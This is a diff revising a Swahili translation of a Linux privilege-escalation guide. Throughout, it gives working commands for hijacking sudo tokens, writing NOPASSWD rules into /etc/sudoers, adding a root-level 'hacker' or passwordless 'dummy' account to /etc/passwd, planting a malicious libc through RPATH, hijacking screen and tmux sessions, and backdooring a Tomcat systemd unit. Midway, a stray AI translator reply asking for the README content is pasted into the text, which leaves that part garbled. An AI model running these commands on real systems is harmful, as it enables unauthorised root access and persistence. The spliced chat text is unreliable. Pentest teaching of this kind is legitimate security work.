uliyotengeneza inahitaji kuwa na kazi inayoitwa `a_function_name`. +hii inamaanisha kwamba maktaba uliyotengeneza inapaswa kuwa na kazi inayoitwa `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya binaries za Unix ambazo mshambuliaji anaweza kuzitumia kuvuka vikwazo vya usalama vya ndani. [**GTFOArgs**](https://gtfoargs.github.io/) ni sawa lakini kwa kesi ambapo unaweza **kuingiza vigezo tu** katika amri. +[**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya binaries za Unix ambazo mshambuliaji anaweza kuzitumia kuvuka vizuizi vya usalama vya ndani. [**GTFOArgs**](https://gtfoargs.github.io/) ni sawa lakini kwa kesi ambapo unaweza **kuingiza vigezo tu** katika amri. -Mradi unakusanya kazi halali za binaries za Unix ambazo zinaweza kutumiwa vibaya kutoroka shells zilizozuiliwa, kuongeza au kudumisha ruhusa zilizoinuliwa, kuhamisha faili, kuzalisha bind na reverse shells, na kurahisisha kazi nyingine za post-exploitation. +Mradi huu hukusanya kazi halali za binaries za Unix ambazo zinaweza kutumika vibaya ili kutoroka restricted shells, escalate au kudumisha elevated privileges, kuhamisha files, kuzalisha bind na reverse shells, na kurahisisha kazi nyingine za post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -919,55 +921,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Ikiwa unaweza kufikia `sudo -l` unaweza kutumia zana [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) ili kuangalia kama inapata jinsi ya exploit sheria yoyote ya sudo. +Ikiwa unaweza kufikia `sudo -l` unaweza kutumia zana [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) kuangalia kama inapata jinsi ya ku-exploit kanuni yoyote ya sudo. -### Reusing Sudo Tokens +### Kutumia Tena Tokeni za Sudo -Katika kesi ambapo una **sudo access** lakini sio password, unaweza kuongeza ruhusa kwa **kusubiri utekelezwaji wa amri ya sudo na kisha kuiba tokeni ya kikao**. +Katika kesi ambapo una **sudo access** lakini huna nenosiri, unaweza escalate privileges kwa **kusubiri utekelezaji wa amri ya sudo kisha ku-hijack session token**. -Requirements to escalate privileges: +Mahitaji ya ku-escalate privileges: - Tayari una shell kama mtumiaji "_sampleuser_" -- "_sampleuser_" amekuwa **ametumia `sudo`** kutekeleza kitu katika **dakika 15 zilizopita** (kwa default huo ndio muda wa tokeni ya sudo unaoturuhusu kutumia `sudo` bila kuingiza password) +- "_sampleuser_" ame**tumia `sudo`** kutekeleza kitu katika **dakika 15 zilizopita** (kwa chaguo-msingi hilo ndilo muda wa sudo token ambalo linaturuhusu kutumia `sudo` bila kuingiza nenosiri) - `cat /proc/sys/kernel/yama/ptrace_scope` ni 0 - `gdb` inapatikana (unaweza kuipakia) -(Unaweza kwa muda kuwezesha `ptrace_scope` kwa kutumia `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kwa kudumu kwa kuhariri `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`) +(Unaweza kwa muda kuwasha `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kwa kudumu kubadilisha `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Ikiwa mahitaji haya yote yamekamilika, **unaweza escalate privileges kwa kutumia:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (hautapata root shell moja kwa moja, fanya `sudo su`): +- The **first exploit** (`exploit.sh`) itaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha sudo token kwenye session yako** (hutaipata root shell moja kwa moja; tumia `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **exploit ya pili** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **inayomilikiwa na root na yenye setuid** +- **exploit ya pili** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **inayomilikiwa na root yenye setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Exploit ya tatu** (`exploit_v3.sh`) **itaunda sudoers file** ambayo inafanya **sudo tokens kuwa za milele na kuruhusu watumiaji wote kutumia sudo** +- **Exploit ya tatu** (`exploit_v3.sh`) **itaunda sudoers file** ambayo inafanya **sudo tokens kuwa za milele na inaruhusu watumiaji wote kutumia sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Ikiwa una **uruhusa wa kuandika** kwenye folda au kwenye yoyote ya faili zilizotengenezwa ndani ya folda unaweza kutumia binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ku**unda sudo token kwa mtumiaji na PID**.\ -Kwa mfano, ikiwa unaweza kuandika tena faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo na PID 1234, unaweza **kupata ruhusa za sudo** bila kuhitaji kujua nywila kwa kufanya: +Iwapo una **idhinishaji za kuandika** kwenye folda au kwenye yoyote ya faili zilizotengenezwa ndani ya folda unaweza kutumia binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ili **kuunda sudo token kwa user na PID**.\ +Kwa mfano, ikiwa unaweza kuandika juu ya faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo na PID 1234, unaweza **kupata idhinishaji za sudo** bila kujua nenosiri kwa kufanya: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Faili `/etc/sudoers` na faili zilizomo ndani ya `/etc/sudoers.d` zinaweka ni nani anaweza kutumia `sudo` na jinsi. Hizi faili **kwa chaguo-msingi zinaweza kusomwa tu na mtumiaji root na kikundi root**.\ -**Ikiwa** unaweza **kusoma** faili hii unaweza kuwa na uwezo wa **kupata taarifa za kuvutia**, na ikiwa unaweza **kuandika** faili yoyote utaweza **kupandisha ruhusa**. +Faili `/etc/sudoers` na faili zilizo ndani ya `/etc/sudoers.d` zinaweka ni nani anaweza kutumia `sudo` na jinsi. **Faili hizi kwa chaguo-msingi zinaweza kusomwa tu na mtumiaji root na kikundi root**.\ +**Kama** unaweza **kusoma** faili hii utaweza **kupata taarifa za kuvutia**, na ikiwa unaweza **kuandika** faili yoyote utaweza **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Ikiwa unaweza kuandika, unaweza kutumia vibaya ruhusa hii +Kama unaweza kuandika, unaweza kutumia vibaya ruhusa hii ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -981,15 +983,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Kuna baadhi ya mbadala kwa binary ya `sudo` kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake katika `/etc/doas.conf` +Kuna mbadala kadhaa ya binary ya `sudo` kama `doas` kwa OpenBSD; kumbuka kuangalia usanidi wake katika `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Ikiwa unajua kwamba **mtumiaji kwa kawaida anaunganisha kwenye mashine na anatumia `sudo`** kupandisha ruhusa na umepata shell ndani ya muktadha wa mtumiaji huyo, unaweza **kuunda sudo executable mpya** ambayo itatekeleza code yako kama root na kisha itatekeleza amri ya mtumiaji. Kisha, **badilisha $PATH** ya muktadha wa mtumiaji (kwa mfano kwa kuongeza path mpya katika .bash_profile) ili wakati mtumiaji anatekeleza sudo, sudo executable yako itatekelezwa. +Ikiwa unajua kwamba **mtumiaji kwa kawaida huungana na mashine na hutumia `sudo`** kuongeza idhini na umepata shell ndani ya muktadha wa mtumiaji huyo, unaweza **kuunda executable mpya ya sudo** ambayo itatekeleza msimbo wako kama root kisha amri ya mtumiaji. Kisha, **badilisha $PATH** ya muktadha wa mtumiaji (kwa mfano kwa kuongeza njia mpya katika .bash_profile) ili wakati mtumiaji anapotekeleza sudo, executable yako ya sudo itatekelezwa. -Kumbuka kwamba ikiwa mtumiaji anatumia shell tofauti (si bash) utahitaji kuhariri faili nyingine ili kuongeza path mpya. Kwa mfano[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) inabadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Kumbuka kwamba ikiwa mtumiaji anatumia shell tofauti (siyo bash) utahitaji kubadilisha faili nyingine ili kuongeza njia mpya. Kwa mfano[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) hubadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Au kuendesha kitu kama: ```bash @@ -1010,12 +1012,12 @@ sudo ls ### ld.so -The file `/etc/ld.so.conf` indicates **ambapo faili za usanidi zinazoingizwa zinatoka**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` +Faili `/etc/ld.so.conf` inaonyesha **ambapo faili za usanidi zinazopakiwa zinatoka**. Kwa kawaida, faili hii ina njia ifuatayo: `include /etc/ld.so.conf.d/*.conf` -That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **zinaelekeza kwenye folda nyingine** ambapo **maktaba** zitatafutwa. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Hii ina maana kwamba mfumo utafuta maktaba ndani ya `/usr/local/lib`**. +Hii inamaanisha kwamba faili za usanidi kutoka `/etc/ld.so.conf.d/*.conf` zitasomwa. Faili hizi za usanidi **zinaonyesha folda nyingine** ambapo **maktaba** zitatafutwa. Kwa mfano, yaliyomo katika `/etc/ld.so.conf.d/libc.conf` ni `/usr/local/lib`. **Hii inamaanisha kwamba mfumo utatafuta maktaba ndani ya `/usr/local/lib`**. -If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ -Take a look at **jinsi ya kutumia kosa hili la usanidi** in the following page: +Iwapo kwa sababu fulani **mtumiaji ana ruhusa za kuandika** kwenye moja ya njia zilizoainishwa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, faili yoyote ndani ya `/etc/ld.so.conf.d/` au folda yoyote ndani ya faili ya usanidi ndani ya `/etc/ld.so.conf.d/*.conf` anaweza kuweza kupandisha ruhusa.\ +Angalia **jinsi ya kutumia mipangilio hii isiyo sahihi** kwenye ukurasa ufuatao: {{#ref}} @@ -1033,7 +1035,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kwa kunakili lib ndani ya `/var/tmp/flag15/`, itatumiwa na programu mahali hapo kama ilivyoainishwa katika kigezo cha `RPATH`. +Kwa kunakili lib ndani ya `/var/tmp/flag15/`, itatumika na programu mahali hapa kama ilivyoainishwa katika `RPATH` variable. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1042,7 +1044,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Kisha unda maktaba haribifu katika `/var/tmp` kwa kutumia `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Kisha unda maktaba ya uovu katika `/var/tmp` kwa kutumia `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1057,38 +1059,38 @@ execve(file,argv,0); ``` ## Uwezo -Linux capabilities hutoa **sehemu ndogo ya root privileges zinazopatikana kwa mchakato**. Hii kwa ufanisi inagawa root **privileges kuwa vitengo vidogo na vinavyojitofautisha**. Kila kimoja cha vitengo hivi kinaweza kisha kupewa mchakato kwa kujitegemea. Kwa njia hii seti kamili ya privileges inapunguzwa, ikipunguza hatari za exploitation.\ -Soma ukurasa ufuatao ili **ujifunze zaidi kuhusu capabilities na jinsi ya kuvitumia vibaya**: +Linux capabilities zinatoa **sehemu ndogo ya idhini za root zinazopatikana kwa mchakato**. Hii kwa ufanisi huvunja idhini za root **kuwa vitengo vidogo na vinavyotofautiana**. Kila kimoja cha vitengo hivi kinaweza kisha kutolewa kwa mchakato kwa kujitegemea. Kwa njia hii seti kamili ya idhini inapunguzwa, ikipunguza hatari za exploitation.\ +Soma ukurasa ufuatao ili **kujifunza zaidi kuhusu capabilities na jinsi ya kuzitumia kwa ubaya**: {{#ref}} linux-capabilities.md {{#endref}} -## Ruhusa za Katalogi +## Ruhusa za saraka -Katika katalogi, the **bit for "execute"** inaashiria kwamba mtumiaji anayehusika anaweza "**cd**" kwenye folda.\ -The **"read"** bit inaashiria mtumiaji anaweza **kuorodhesha** **files**, na **"write"** bit inaashiria mtumiaji anaweza **kufuta** na **kuunda** **files** mpya. +Kwenye saraka, **bit ya "execute"** inaashiria kwamba mtumiaji anayehusika anaweza "**cd**" ndani ya folda.\ +**"read"** bit inaonyesha mtumiaji anaweza **list** **files**, na **"write"** bit inaonyesha mtumiaji anaweza **delete** na **create** files mpya. ## ACLs -Access Control Lists (ACLs) zinaonyesha safu ya pili ya ruhusa za hiari, zenye uwezo wa **kuzipita ruhusa za jadi za ugo/rwx**. Ruhusa hizi zinaboresha udhibiti wa upatikanaji wa faili au katalogi kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kundi. Kiwango hiki cha undani kinahakikisha usimamizi sahihi zaidi wa upatikanaji. Maelezo zaidi yanaweza kupatikana [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) zinaonyesha tabaka la pili la ruhusa za hiari, zikiwa na uwezo wa **overriding the traditional ugo/rwx permissions**. Ruhusa hizi zinaboresha udhibiti juu ya ufikiaji wa faili au saraka kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kundi. Kiwango hiki cha **granularity kinahakikisha usimamizi wa ufikiaji wenye usahihi zaidi**. Maelezo zaidi yanaweza kupatikana [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Mpe** mtumiaji "kali" ruhusa za "read" na "write" kwa faili: +**Mpa** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pata** faili zenye ACL maalum kutoka kwa mfumo: +**Pata** files with specific ACLs from the system: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Fungua shell sessions Katika **matoleo ya zamani** unaweza **hijack** baadhi ya **shell** session ya mtumiaji tofauti (**root**).\ -Katika **matoleo ya hivi karibuni** utakuwa na uwezo wa **connect** kwa screen sessions tu za **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **taarifa za kuvutia ndani ya session**. +Katika **matoleo mapya** utaweza **connect** tu kwa screen sessions za **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **taarifa za kuvutia ndani ya session**. ### screen sessions hijacking @@ -1107,9 +1109,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Hii ilikuwa tatizo na **old tmux versions**. Sikuweza hijack tmux (v2.1) session iliyoundwa na root kama mtumiaji asiye na vibali. +Hii ilikuwa tatizo na **toleo za zamani za tmux**. Sikuweza kufanya hijack ya kikao cha tmux (v2.1) kilichoundwa na root kama mtumiaji asiye na ruhusa. -**List tmux sessions** +**Orodhesha vikao vya tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1127,33 +1129,33 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Angalia **Valentine box from HTB** kwa mfano. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Vifunguo vyote vya SSL na SSH vinavyotengenezwa kwenye mifumo inayotegemea Debian (Ubuntu, Kubuntu, n.k.) kati ya Septemba 2006 na Mei 13th, 2008 vinaweza kuathiriwa na hitilafu hii.\ -Hitilafu hii inatokea wakati wa kuunda ssh key mpya kwenye OS hizo, kwani **tu mabadiliko 32,768 yalikuwa yanwezekana**. Hii inamaanisha kwamba uwezekano wote unaweza kuhesabiwa na **ikiwa una ssh public key unaweza kutafuta private key inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Kosa hili linasababishwa wakati wa kuunda ssh key mpya kwenye OS hizo, kwa kuwa **mabadiliko yaliyowezekana yalikuwa ni 32,768 tu**. Hii ina maana kwamba uwezekano wote unaweza kuhesabiwa na **ukiwa na ssh public key unaweza kutafuta private key inayolingana**. Unaweza kupata uwezekano uliokadiriwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Viwango vya usanidi vinavyovutia -- **PasswordAuthentication:** Inaelezea kama password authentication inaruhusiwa. Chaguo-msingi ni `no`. -- **PubkeyAuthentication:** Inaelezea kama public key authentication inaruhusiwa. Chaguo-msingi ni `yes`. -- **PermitEmptyPasswords**: Wakati password authentication inaruhusiwa, inaelezea kama server inaruhusu login kwa akaunti zenye password tupu. Chaguo-msingi ni `no`. +- **PasswordAuthentication:** Inaonyesha kama password authentication inaruhusiwa. Chaguo-msingi ni `no`. +- **PubkeyAuthentication:** Inaonyesha kama public key authentication inaruhusiwa. Chaguo-msingi ni `yes`. +- **PermitEmptyPasswords**: Iwapo password authentication imeruhusiwa, inaonyesha kama server inaruhusu kuingia kwenye akaunti zenye password tupu. Chaguo-msingi ni `no`. ### PermitRootLogin -Inaelezea kama root anaweza kuingia kwa kutumia ssh, chaguo-msingi ni `no`. Thamani zinazowezekana: +Inaonyesha kama root anaweza kuingia kwa kutumia ssh, chaguo-msingi ni `no`. Thamani zinazowezekana: - `yes`: root anaweza kuingia kwa kutumia password na private key -- `without-password` au `prohibit-password`: root anaweza kuingia tu kwa private key -- `forced-commands-only`: Root anaweza kuingia tu kwa private key na ikiwa chaguo za commands zimeainishwa -- `no`: hapana +- `without-password` or `prohibit-password`: root anaweza kuingia kwa kutumia private key pekee +- `forced-commands-only`: root anaweza kuingia kwa kutumia private key pekee na ikiwa options za commands zimeainishwa +- `no` : hapana ### AuthorizedKeysFile -Inaelezea faili ambazo zina public keys ambazo zinaweza kutumika kwa user authentication. Inaweza kujumuisha tokens kama `%h`, ambazo zitabadilishwa na directory ya nyumbani. **Unaweza kutaja absolute paths** (zinazoanza na `/`) au **relative paths kutoka kwa home ya mtumiaji**. Kwa mfano: +Inaonyesha mafaili yanayoshikilia public keys ambazo zinaweza kutumika kwa user authentication. Inaweza kuwa na tokens kama `%h`, ambazo zitatumika kubadilishwa na directory ya nyumbani. **Unaweza kuonyesha njia kamili (absolute paths)** (kuanzia katika `/`) au **njia zinazohusiana kutoka kwenye nyumbani kwa mtumiaji**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1161,38 +1163,38 @@ That configuration will indicate that if you try to login with the **private** k ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding inakuwezesha **use your local SSH keys instead of leaving keys** (without passphrases!) kukaa kwenye server yako. Kwa hivyo, utaweza **jump** via ssh **to a host** na kutoka hapo **jump to another** host **using** the **key** located in your **initial host**. +SSH agent forwarding inaruhusu **use your local SSH keys instead of leaving keys** (without passphrases!) kukaa kwenye server yako. Hivyo, utaweza **jump** via ssh **to a host** na kutoka hapo **jump to another** host **using** the **key** iliyoko ndani ya **initial host** yako. Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` kama ifuatavyo: ``` Host example.com ForwardAgent yes ``` -Kumbuka kwamba ikiwa `Host` ni `*`, kila mara mtumiaji anapohama kwenda mashine tofauti, host hiyo itakuwa na uwezo wa kupata keys (ambayo ni suala la usalama). +Tambua kwamba ikiwa `Host` ni `*`, kila mara mtumiaji anapohama kwenda kwenye mashine tofauti, host hiyo itaweza kupata funguo (ambayo ni tatizo la usalama). -Faili `/etc/ssh_config` inaweza **kubatilisha** hizi **options** na kuruhusu au kukataa usanidi huu.\ -Faili `/etc/sshd_config` inaweza **kuruhusu** au **kukataa** ssh-agent forwarding kwa kutumia keyword `AllowAgentForwarding` (default ni allow). +Faili `/etc/ssh_config` inaweza **kubadilisha** **chaguo** hizi na kuruhusu au kukataa usanidi huu.\ +Faili `/etc/sshd_config` inaweza **kuruhusu** au **kukataa** ssh-agent forwarding kwa neno kuu `AllowAgentForwarding` (chaguo-msingi ni kuruhusu). -Ikiwa utagundua kwamba Forward Agent imesanidiwa katika mazingira soma ukurasa ufuatao kwa sababu **utaweza kuuitumia vibaya ili kupandisha ruhusa**: +Ikiwa utagundua kwamba Forward Agent imewekwa katika mazingira, soma ukurasa ufuatao kwa sababu **pengine unaweza kuitumia vibaya ili kupandisha hadhi za ruhusa**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Faili Zenye Kuvutia +## Faili Zinazovutia ### Faili za profile -Faili `/etc/profile` na faili zilizo chini ya `/etc/profile.d/` ni **scripts ambazo zinaendeshwa wakati mtumiaji anapoendesha shell mpya**. Kwa hivyo, ikiwa unaweza **kuandika au kubadilisha yoyote yao unaweza kupandisha ruhusa**. +Faili `/etc/profile` na faili zilizo ndani ya `/etc/profile.d/` ni **scripti zinazotekelezwa wakati mtumiaji anapofungua shell mpya**. Kwa hivyo, ikiwa unaweza **kuandika au kubadilisha yoyote kati yao unaweza kupandisha hadhi za ruhusa**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Ikiwa skripti ya profile isiyo ya kawaida inapatikana, unapaswa kuikagua kwa **maelezo nyeti**. +Ikiwa skripti yoyote ya profaili isiyo ya kawaida inapatikana, unapaswa kuikagua ili kutafuta **maelezo nyeti**. -### Faili za Passwd/Shadow +### Passwd/Shadow Files -Kulingana na OS, faili za `/etc/passwd` na `/etc/shadow` zinaweza kuwa zina jina tofauti au kunaweza kuwa na chelezo. Kwa hivyo inashauriwa **kutafuta zote** na **kuangalia ikiwa unaweza kuzisoma** ili kuona **kama kuna hashes** ndani ya faili: +Kulingana na OS, faili za `/etc/passwd` na `/etc/shadow` zinaweza kuwa zina jina tofauti au kunaweza kuwa na nakala ya chelezo. Kwa hiyo inashauriwa **kutafuta zote** na **kukagua kama unaweza kuzisoma** ili kuona **kama kuna hashes** ndani ya faili: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1205,51 +1207,50 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/ ``` ### Inayoweza kuandikwa /etc/passwd -Kwanza, tengeneza password kwa mojawapo ya amri zifuatazo. +Kwanza, tengeneza nenosiri kwa moja ya amri zifuatazo. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don't have the contents of src/linux-hardening/privilege-escalation/README.md — please paste the file content you want translated. +I don't have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md text you want translated. -Also clarify what you mean by "Then add the user `hacker` and add the generated password.": +Also confirm: +- Do you want me to generate a strong password now and include it in the output? +- Which Linux distro/target should the "add user" commands target (Debian/Ubuntu vs RHEL/CentOS), or do you want generic commands? -- Do you want me to modify the translated README to include instructions/commands to create a local user named `hacker` and show a generated password? (I can generate a secure password and add the command snippet.) -- Or do you want me to actually create the user on your machine? (I can't perform actions on your system; I can only provide the exact commands to run.) - -Tell me which you prefer and paste the README content to translate. If you want a generated password now, tell me the desired length and allowed character classes (lower/upper/digits/symbols) and I will include it. +Once you provide the file (and answers), I'll translate the relevant English text to Swahili (keeping markdown/html tags, links and code unchanged) and append commands to add the user `hacker` with the generated password. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Mfano: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Kwa mfano: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Sasa unaweza kutumia amri ya `su` na `hacker:hacker` +Sasa unaweza kutumia amri ya `su` ukiwa na `hacker:hacker` -Mbali na hayo, unaweza kutumia mistari ifuatayo kuongeza mtumiaji wa kuigiza bila nenosiri.\ -ONYO: huenda ukapunguza usalama wa sasa wa mashine. +Mbali na hayo, unaweza kutumia mistari ifuatayo kuongeza mtumiaji wa bandia bila nenosiri.\ +ONYO: hii inaweza kupunguza usalama wa sasa wa mashine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -Kumbuka: Katika majukwaa ya BSD `/etc/passwd` iko kwenye `/etc/pwd.db` na `/etc/master.passwd`, pia `/etc/shadow` imebadilishwa jina kuwa `/etc/spwd.db`. +Kumbuka: Katika majukwaa ya BSD `/etc/passwd` iko katika `/etc/pwd.db` na `/etc/master.passwd`, pia `/etc/shadow` imebadilishwa jina kuwa `/etc/spwd.db`. -Unapaswa kuangalia kama unaweza **kuandika katika baadhi ya faili nyeti**. Kwa mfano, unaweza kuandika kwenye baadhi ya **faili za usanidi za huduma**? +Unapaswa kuangalia kama unaweza **kuandika katika baadhi ya faili nyeti**. Kwa mfano, je, unaweza kuandika kwenye baadhi ya **faili za usanidi za huduma**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **modify the Tomcat service configuration file inside /etc/systemd/,** basi unaweza kubadilisha mistari: +Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **kuhariri faili ya usanidi wa huduma ya Tomcat ndani ya /etc/systemd/,** basi unaweza kuhariri mistari: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Backdoor yako itatekelezwa mara inayofuata tomcat itakapowashwa. +Backdoor yako itaendeshwa mara inayofuata tomcat itakapowashwa. -### Kagua Mafolda +### Kagua Folda -Folda zifuatazo zinaweza kuwa na chelezo au taarifa za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Huenda hautaweza kusoma ya mwisho lakini jaribu) +Folda zifuatazo zinaweza kuwa na backups au taarifa za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Inawezekana hutaweza kusoma ile ya mwisho, lakini jaribu) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1270,11 +1271,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Faili zilizobadilishwa katika dakika za mwisho +### Faili zilizobadilishwa katika dakika za hivi karibuni ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Faili za Sqlite DB +### Sqlite DB faili ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1286,7 +1287,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries katika PATH** +### **Script/Binaries ndani ya PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1298,26 +1299,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Nakala za akiba** +### **Chelezo** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Mafaili yaliyofahamika yanayohifadhi passwords +### Faili zinazojulikana zinazoweza kuwa na nywila -Soma msimbo wa [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), hutafuta **faili kadhaa zinazoweza kuwa na passwords**.\ -**Chombo kingine cha kuvutia** unachoweza kutumia ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambayo ni programu ya 